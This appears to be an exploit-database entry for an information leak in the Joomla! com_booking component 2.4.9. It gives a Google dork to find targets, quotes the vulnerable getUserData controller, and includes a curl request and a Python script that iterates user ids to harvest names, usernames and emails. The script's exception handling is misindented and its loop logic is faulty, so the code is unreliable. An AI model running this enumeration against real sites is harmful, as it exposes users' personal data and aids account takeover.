Joomla! com_booking component 2.4.9 - Information Leak (Account enumeration)

# Exploit Title: Joomla! com_booking component 2.4.9 - Information Leak (Account enumeration)
# Google Dork: inurl:"index.php?option=com_booking"
# Date: 07/12/2023
# Exploit Author: qw3rTyTy
# Vendor Homepage: http://www.artio.net/
# Software Link: http://www.artio.net/downloads/joomla/book-it/book-it-2-free/download
# Version: 2.4.9
# Tested on: Slackware/Nginx/Joomla! 3.10.11
#
##
# File: site/booking.php
#
# <?php
# [...]
#18 include_once (JPATH_COMPONENT_ADMINISTRATOR . DS . 'booking.php');
# [...]
#
# File: admin/booking.php
#
# <?php
# [...]
#104 if (class_exists(($classname = AImporter::controller()))) {
#105 $controller = new $classname();
#106 /* @var $controller JController */
#107 $controller->execute(JRequest::getVar('task'));
#108 $controller->redirect();
#109 }
# [...]
#
# File: admin/controllers/customer.php
#
# <?php
# [...]
#240 function getUserData() {
#241 $user = JFactory::getUser(JRequest::getInt('id'));
#242 $data = array('name' => $user->name, 'username' => $user->username, 'email' => $user->email);
#243 die(json_encode($data));
#244 }
# [...]
#
# A following GET request is equivalent to doing a query like 'SELECT name, username, email FROM abcde_users WHERE id=123'.
#
# curl -X GET http://target/joomla/index.php?option=com_booking&controller=customer&task=getUserData&id=123
#
# So, an attacker can easily enumerate all accounts by bruteforcing.
#
##
import argparse
import urllib.parse
import requests
from sys import exit
from time import sleep

def enumerateAccounts(options):
    i = 1
    url = options.url
    url = url + "/index.php?option=com_booking&controller=customer&task=getUserData&id="

    while True:
        try:
            response = requests.get("{}{}".format(url, str(i)))

            if response.status_code == 200:
                try:
                    jsondocument = response.json()
                    if jsondocument["name"] != None:
                        print(jsondocument)
                except requests.exceptions.JSONDecodeError:
                    raise
                else:
                    break
            except Exception as ex:
                print(ex)
                break

        i += 1

def main():
    p = argparse.ArgumentParser()
    p.add_argument("-u", "--url", type=str, required=True)
    parsed = p.parse_args()

    try:
        t = urllib.parse.urlparse(parsed.url)
    except ValueError as ex:
        print(ex)
        exit()

    if not t[0].startswith("http") and not t[0].startswith("https"):
        print("Improper URL given.")
        exit()

    if len(t[1]) == 0:
        print("Improper URL given.")
        exit()

    enumerateAccounts(parsed)

if __name__ == "__main__":
    main()